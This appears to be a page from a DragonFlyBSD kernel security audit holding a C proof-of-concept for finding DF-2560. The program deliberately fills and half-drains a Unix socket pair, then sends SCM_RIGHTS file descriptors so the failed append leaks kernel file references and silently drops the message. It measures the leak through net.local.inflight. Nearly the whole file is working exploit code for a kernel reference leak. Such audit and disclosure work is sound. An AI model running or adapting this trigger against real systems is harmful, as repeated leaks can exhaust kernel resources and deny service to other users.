⬢ DragonFlyBSD Kernel Audit
DF-2560 / scm_leak3.c
← back to finding ↓ download raw
/* DF-2560 -- exact path: ssb_appendcontrol() FAILS (peer rcv full at append
 * time) in the SOCK_STREAM SCM_RIGHTS branch (uipc_usrreq.c:766-787).
 * The branch leaves control!=NULL with error==0; the cleanup at :808-814
 * then does m_freem(control) WITHOUT unp_dispose() -> every fhold()+
 * unp_add_right() from unp_internalize() leaks, and sendmsg() reports
 * success while the message was silently dropped.
 *
 * Window: uipc_send sets SSB_STOP on the sender only AFTER a failed/successful
 * append; the receiver's recv() clears it (uipc_rcvd :575-586).  So:
 * fill peer rcv -> drain half -> sendmsg(data-bigger-than-free + SCM_RIGHTS).
 *
 * usage: scm_leak3 [iters]
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>

static int
sysctl_int(const char *name)
{
	int v;
	size_t l = sizeof(v);
	if (sysctlbyname(name, &v, &l, NULL, 0) < 0) {
		printf("sysctl %s: %s\n", name, strerror(errno));
		return (-1);
	}
	return (v);
}

int
main(int argc, char **argv)
{
	int iters = (argc > 1) ? atoi(argv[1]) : 20;
	int sv[2], fds[8], i, k;
	struct msghdr msg;
	struct iovec iov;
	static char big[65536];
	char cbuf[CMSG_SPACE(sizeof(fds))];
	struct cmsghdr *cm;
	int infl0, infl_now, leaked = 0, ok = 0, fail = 0, silent_drop = 0;

	infl0 = sysctl_int("net.local.inflight");
	printf("before: net.local.inflight=%d\n", infl0);

	for (i = 0; i < 8; i++) {
		char p[64];
		snprintf(p, sizeof(p), "/tmp/df2560c_%d", i);
		unlink(p);
		fds[i] = open(p, O_RDWR | O_CREAT, 0600);
		if (fds[i] < 0) { perror("open"); return 1; }
	}
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { perror("socketpair"); return 1; }
	fcntl(sv[0], F_SETFL, O_NONBLOCK);
	fcntl(sv[1], F_SETFL, O_NONBLOCK);

	memset(big, 'D', sizeof(big));

	memset(&msg, 0, sizeof(msg));
	memset(cbuf, 0, sizeof(cbuf));
	iov.iov_base = big;
	iov.iov_len = 32768;			/* half the fill + more */
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = cbuf;
	msg.msg_controllen = sizeof(cbuf);
	cm = CMSG_FIRSTHDR(&msg);
	cm->cmsg_len = CMSG_LEN(sizeof(fds));
	cm->cmsg_level = SOL_SOCKET;
	cm->cmsg_type = SCM_RIGHTS;
	memcpy(CMSG_DATA(cm), fds, sizeof(fds));

	for (k = 0; k < iters; k++) {
		/* 1. fill peer rcv with plain data */
		int filled = 0;
		for (;;) {
			ssize_t r = send(sv[0], big, 16384, MSG_DONTWAIT);
			if (r < 0) break;
			filled += r;
		}
		/* 2. drain half (clears SSB_STOP via uipc_rcvd) */
		int drained = 0;
		while (drained < filled / 2) {
			ssize_t r = recv(sv[1], big, 16384, MSG_DONTWAIT);
			if (r <= 0) break;
			drained += r;
		}
		/* 3. the attack send: data 32KB > free space, with SCM_RIGHTS */
		errno = 0;
		ssize_t rc = sendmsg(sv[0], &msg, MSG_DONTWAIT);
		if (rc < 0) {
			fail++;
			if (k < 3) printf("iter %d: sendmsg rc=%zd errno=%d (%s)\n",
			    k, rc, errno, strerror(errno));
		} else {
			ok++;
			/* silent drop? peer must NOT have the data: drain check */
			char probe[64];
			ssize_t r = recv(sv[1], probe, sizeof(probe), MSG_DONTWAIT);
			if (r <= 0)
				silent_drop++;
		}
		infl_now = sysctl_int("net.local.inflight");
		if (k == 0)
			printf("iter 0: filled=%d drained=%d sendmsg rc=%zd errno=%d "
			    "inflight now %+d\n", filled, drained, rc, errno,
			    infl_now - infl0);
	}
	leaked = sysctl_int("net.local.inflight") - infl0;
	printf("RESULT: sendmsg ok=%d fail=%d ; silent-drops confirmed=%d/%d ok\n",
	    ok, fail, silent_drop, ok);
	printf("RESULT: net.local.inflight delta = %+d (each iteration leaked "
	    "8 file refs if delta == 8*iters)\n", leaked);
	printf("        => %d leaked rights over %d iterations (%.1f/iter)\n",
	    leaked, iters, (double)leaked / iters);

	/* cleanup: drain everything, close */
	for (;;) {
		ssize_t r = recv(sv[1], big, sizeof(big), MSG_DONTWAIT);
		if (r <= 0) break;
	}
	close(sv[0]); close(sv[1]);
	for (i = 0; i < 8; i++) close(fds[i]);
	printf("after close-all: inflight=%+d (leak persists => %d)\n",
	    sysctl_int("net.local.inflight") - infl0,
	    sysctl_int("net.local.inflight") - infl0);
	return 0;
}